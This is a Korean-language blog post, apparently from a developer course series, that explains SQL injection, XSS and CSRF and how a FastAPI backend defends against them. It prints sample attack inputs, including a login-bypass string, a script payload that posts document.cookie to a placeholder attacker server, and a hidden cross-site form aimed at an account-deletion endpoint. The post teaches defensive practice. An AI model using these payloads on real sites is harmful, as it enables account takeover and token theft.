뚫리느냐 막아내느냐: 백엔드 개발자를 위한 핵심 웹 보안 (XSS, CSRF, SQLi) 완벽 방어 가이드
백엔드 개발자가 밤잠을 설치며 꾸는 가장 끔찍한 악몽은 무엇일까요? 서버가 죽는 것? 아닙니다. 서버는 다시 켜면 그만입니다. 진짜 재앙은 '유저 데이터베이스(DB)가 통째로 털리는 것'입니다. 애써 기획하고 런칭한 서비스가 단 한 번의 보안 사고로 신뢰를 잃고 문을 닫는 경우는 IT 업계에서 비일비재합니다.
지금까지 우리는 기능(Feature)을 어떻게 구현하고 통신할지에 집중했습니다. 하지만 프로덕션(실제 서비스) 레벨로 올라가기 위해서는 내 서버를 호시탐탐 노리는 창을 막아낼 튼튼한 방패를 깎아야 합니다. 오늘은 웹 보안의 영원한 3대장, SQL Injection, XSS, CSRF가 도대체 어떤 원리로 작동하는지, 그리고 우리 파이썬(FastAPI) 백엔드에서는 이를 어떻게 숨 막히게 방어하는지 시니어의 시선으로 딥하게 파헤쳐 보겠습니다.
1. 데이터베이스 창고를 통째로 터는 도둑: SQL Injection (SQLi)
"비밀번호 입력창에 ' OR 1=1 -- 를 쳤더니 관리자 계정으로 로그인이 되더라."
아마 전공 수업이나 인터넷 밈으로 한 번쯤 들어보셨을 겁니다. 아주 고전적이지만 여전히 OWASP(국제 웹 보안 기구) Top 10에서 절대 내려오지 않는 치명적인 공격, 바로 SQL 인젝션입니다.
이 해킹은 백엔드 개발자가 유저의 입력을 너무 '순진하게' 믿을 때 발생합니다. 유저가 입력한 아이디를 SQL 쿼리문에 문자열 더하기(+)나 파이썬의 f-string으로 대충 이어 붙이면 대참사가 일어납니다.
# 🚨 [초보 개발자의 치명적인 실수]
user_input = "' OR '1'='1" # 해커가 아이디 칸에 입력한 값
query = f"SELECT * FROM users WHERE username = '{user_input}' AND password = '...'"
# 서버가 실제로 DB에 날려버리는 쿼리문
# SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '...'
조건문의 '1'='1'은 무조건 참(True)이기 때문에, DB는 비밀번호가 틀렸든 말든 유저 테이블의 첫 번째 데이터(보통 1번이 최고 관리자 계정입니다)를 떡하니 뱉어내게 됩니다.
🛡️ [시니어의 방어책: ORM과 바인딩 변수]
현대 백엔드 프레임워크에서는 SQL 쿼리를 직접 텍스트로 짜는 'Raw Query' 작성을 엄격히 금지합니다. 대신 SQLAlchemy 같은 ORM(Object Relational Mapping)을 사용합니다. ORM은 유저의 입력값을 쿼리의 '명령어'가 아닌 단순한 '파라미터(값)'로 취급하여 특수문자를 자동으로 이스케이프(무력화) 처리해 줍니다. 해커가 아무리 이상한 따옴표를 넣어도 그저 이상한 문자열로 인식하게 만들어 완벽하게 방어합니다.
2. 프론트엔드 앞마당에 독사과 숨기기: XSS (Cross-Site Scripting)
XSS는 해커가 백엔드 서버를 직접 때리지 않고, 다른 선량한 유저들의 브라우저(프론트엔드)를 공격하는 교묘한 수법입니다. 우리 플랫폼(Dev-Match)의 프로젝트 모집 게시판을 예로 들어보겠습니다.
해커가 게시글 제목에 평범한 글 대신 악성 자바스크립트 코드 <script>fetch('해커서버', {method:'POST', body: document.cookie})</script>를 적어서 백엔드에 저장합니다. 백엔드는 "음, 텍스트구나" 하고 DB에 저장하겠죠.
다음 날, 평범한 유저가 그 게시글을 클릭합니다. 프론트엔드(React, Vue 등)는 DB에서 가져온 그 제목을 화면에 그려주는데, 브라우저가 이걸 단순한 글씨가 아니라 '실행해야 할 자바스크립트 코드'로 착각하고 실행해 버립니다! 그 순간 유저의 로컬 스토리지나 쿠키에 있던 소중한 JWT(Access Token)가 해커의 서버로 쥐도 새도 모르게 전송됩니다. 독사과를 먹은 셈이죠.
🛡️ [시니어의 방어책: 양방향 이스케이프와 HttpOnly 쿠키]
우선, 백엔드는 유저가 입력한 HTML 태그를 곧바로 믿으면 안 됩니다. 파이썬의 bleach 같은 라이브러리를 써서 위험한 <script> 태그를 <script> 같은 단순 문자로 치환(Sanitize)해 버려야 합니다.
더 근본적인 방어는 이전 글(22번)에서 강조했던 JWT 토큰의 보관 위치입니다. 해커가 자바스크립트를 실행하는 데 성공하더라도 토큰을 훔쳐 가지 못하게 하려면, 치명적인 Refresh Token은 반드시 자바스크립트 접근이 원천 차단된 HttpOnly 쿠키에 구워두어야 합니다. 이렇게 하면 해커의 악성 스크립트가 헛손질을 하게 됩니다.
3. 나도 모르게 내가 송금 버튼을 눌렀다고?: CSRF (Cross-Site Request Forgery)
마지막 빌런인 CSRF(사이트 간 요청 위조)는 이름부터 어렵지만, 원리를 알면 아주 소름 돋는 해킹입니다. 이 녀석은 '브라우저가 쿠키를 자동으로 챙겨서 보내는 호의'를 악용합니다.
여러분이 우리 플랫폼에 로그인해서 브라우저 쿠키에 JWT(통행증)가 저장되어 있다고 칩시다.
이때 해커가 보낸 피싱 이메일("무료 커피 쿠폰 받기!")을 클릭해서 해커의 사이트에 접속했습니다. 해커의 사이트에는 보이지 않는 투명한 버튼이 하나 숨겨져 있습니다.
<form action="https://our-dev-match.com/api/delete-account" method="POST">...</form>
유저가 커피 쿠폰을 받으려고 클릭하는 순간, 이 폼(Form)이 실행되며 우리 백엔드 서버로 '계정 삭제' 요청이 날아갑니다. 이때 브라우저는 "오, our-dev-match.com으로 가는 요청이네? 내가 갖고 있던 쿠키(로그인 통행증)도 같이 달아서 보내줘야지!" 하고 친절하게 토큰까지 동봉해 버립니다. 백엔드 입장에서는 완벽하게 정상적인 유저의 토큰이 담겨 왔으니 의심 없이 계정을 날려버립니다.
🛡️ [시니어의 방어책: SameSite 속성과 CSRF Token]
과거에는 백엔드에서 1회용 난수인 'CSRF Token'을 폼에 숨겨서 막았지만, API 기반의 모던 웹 생태계에서는 훨씬 우아한 방법이 생겼습니다. 바로 쿠키를 구울 때 SameSite=Strict (또는 Lax) 옵션을 달아주는 것입니다.
이 옵션을 달면 브라우저는 "내 웹사이트(our-dev-match.com)에서 출발한 요청일 때만 이 쿠키를 실어 보내고, 해커의 사이트 등 다른 출처(Origin)에서 날아가는 요청에는 절대 이 쿠키를 싣지 마!"라고 철벽을 치게 됩니다. 이 옵션 하나로 CSRF 공격의 99%를 막아낼 수 있습니다.
4. 마무리 (Defense in Depth)
보안에 '은탄환(Silver Bullet)'은 없습니다. 창은 계속 날카로워지고, 새로운 해킹 기법은 매일같이 탄생합니다. 그래서 우리 백엔드 엔지니어들은 하나가 뚫려도 다음 방어막이 막아주는 심층 방어(Defense in Depth) 아키텍처를 설계해야 합니다. ORM으로 SQLi를 막고, HttpOnly 쿠키로 XSS 피해를 줄이고, SameSite 옵션으로 CSRF를 튕겨내는 이 삼중주 방어막이 바로 시니어의 품격입니다.
자, 여기까지 따라오시느라 정말 고생 많으셨습니다! AI부터 아키텍처, 네트워크, 그리고 보안까지 탄탄하게 다진 여러분은 이제 어떤 실무 프로젝트라도 두렵지 않을 겁니다. 다음 6주차부터는 우리의 기술을 '기획서(RFP)'와 '사업계획서'로 포장하여 세상의 투자를 받아내는 기획/데이터 분석 파트로 시야를 더 넓혀 보겠습니다.
'인공지능(AI)' 카테고리의 다른 글
| 투자자를 설득하는 기획의 정수: 사업계획서 PEST 환경 분석 실무 (0) | 2026.03.19 |
|---|---|
| 외주 개발 실패를 막는 기획자의 무기: 완벽한 IT 서비스 제안서(RFP) 작성 실무 가이드 (0) | 2026.03.18 |
| 프론트와 백엔드의 실시간 티키타카: WebSocket 채팅 서버 아키텍처와 Redis Pub/Sub (0) | 2026.03.16 |
| 프론트와 백엔드의 완벽한 밀당 2탄: OAuth 2.0 소셜 로그인 아키텍처와 백엔드 실무 가이드 (0) | 2026.03.15 |
| 프론트와 백엔드의 완벽한 밀당: JWT 인증 시스템 설계와 실무 보안 가이드 (0) | 2026.03.14 |